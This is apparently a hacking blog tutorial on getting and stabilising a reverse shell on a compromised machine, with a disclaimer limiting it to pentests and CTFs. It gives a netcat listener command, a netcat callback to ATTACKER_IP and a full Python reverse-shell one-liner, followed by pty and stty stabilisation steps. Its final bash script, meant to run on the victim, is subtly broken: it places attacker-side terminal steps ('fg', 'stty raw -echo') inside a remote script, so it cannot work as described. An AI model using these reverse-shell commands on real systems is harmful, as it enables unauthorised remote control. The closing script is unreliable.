The Overview
On today’s quick hack I will explain how to stabilise a shell once you have gained a reverse shell access. Keep in mind that this should only be done in an ethical setting such as a pentest or a CTF. I am now responsible for your actions, but you are!
Here’s an excellent video if you’re lazy
The full explanation
Please note:
This blog posts assumes quite a bit of knowledge. You are expected to know the basics of concept of attacker and victim machine, netcat and some bash, so if all of that sounds like foreign words, come back to this video in a bit. In the future I may have more explanations on these topics but for now have a look at these resources if you are keen.
What is netcat: https://www.geeksforgeeks.org/introduction-to-netcat/
What is bash: https://www.youtube.com/watch?v=I4EWvMFj37g
Let’s get started
So let’s say that you gained access to a box and you’re able to inject commands to it
Naturally you would try and gain a reverse shell. So on your attacker machine you will want to set up a listener with netcat like so:
nc -lvnp PORT
I typically use the port 1234 which is the default for many reverse shells you will find on the internet, namely here:
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
So now that you set up a listener you will need to set up the shell on the victim machine, typically you can do this with
nc ATTACKER_IP PORT
In my case I actually needed to use a python reverse shell using:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Note that I needed to change ATTACKER_IP
and PORT
This will look something like this:

This is not great as it doesn’t give you command history, use of arrows or code completion. So we need to stabilise this shell.
Stabilising with python
Here are the steps we need to take:
Firstly we will need to use our newly obtained shell to run this python command. Note that I am using python3 as this is what the system has installed:
python3 -c 'import pty; pty.spawn("/bin/bash")'
This is how our terminal will look:

Once we have ran that command we can now background our shell using Ctrl+z
. Then, in our shell, we need to enter the following command
stty raw -echo; fg

Hit enter, the “user@ipaddress” will now disappear from the terminal – that’s fine just hit enter one more time.
Here’s how it should look once you’ve hit enter twice:

Finally we have to export the terminal:
export TERM=xterm

Finally we can enjoy a fully fledged and functional shell complete with commands like clear
and tab completion!
Here’s the full code
python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl+z]
stty raw -echo; fg
[Double enter]
export TERM=xterm
Run this on the victim machine
#!/bin/bash
# Background the shell
echo -ne "\n" > /dev/tty # Workaround to send newline
stty raw -echo
fg
sleep 1
# Export TERM variable
export TERM=xterm
# Establish TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background again, resize, and foreground
echo -ne "\n" > /dev/tty
stty raw -echo
fg
sleep 1
# Get terminal size
rows=$(stty size | cut -d' ' -f1)
cols=$(stty size | cut -d' ' -f2)
stty rows $rows columns $cols
# Optional: Reset terminal
reset
echo "Shell stabilized. You should now have command history and tab completion."
# Drop into an interactive bash shell
exec /bin/bash